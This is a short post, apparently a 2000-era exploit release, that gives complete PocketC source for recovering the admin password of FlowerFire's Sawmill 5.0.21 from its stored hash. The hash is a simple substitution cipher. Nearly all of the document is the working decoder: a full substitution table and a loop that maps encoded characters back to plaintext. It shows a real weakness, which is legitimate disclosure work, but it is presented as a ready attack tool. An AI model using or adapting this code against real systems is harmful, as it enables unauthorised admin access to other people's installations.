PocketC program to dehash the admin password for FlowerFire's Sawmill 5.0.21 log analysis package. This has been written, compiled and tested on my palm IIIxe. Takes a few seconds since the hash is so weak.
0aa155e7517924fa800b7c6c2d61993936bdde7128b24b1b64a1311803519fd9
//de-hash
//Recover admin password for sawmill 5.0.21.
//PocketC tested on a Palm IIIxe
//Larry W. Cashdollar lwc@vapid.dhs.org 8/15/00
//http://vapid.dhs.org
string alpha[58]={"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","!","@","#","$","%","^","&","*","(",")","_","+","~","<",">","?",":","\"","{","}","|"};
string encode[58]={"=","G","e","K","M","N","Q","S","~","T","f","U","V","W","X","Y","[","a","b","c","y","g","i","m","r","s","\"","#","$","&","-","]","F","L","q","4",".","@","w","I","C","H","2","!","o","E","n","}","Z","%","(","O","v","t","{","z"};
main ()
{
int x, y;
string hash;
hash=gets("Enter Hash");
for (x = 0; x <= strlen (hash); x++)
{
for (y = 0; y < 58; y++) {
if (substr(hash,x,1)==encode[y]){
puts(alpha[y]);
break;
}
}
}
puts("\n\"+\" could also be a space [ ]\n");
}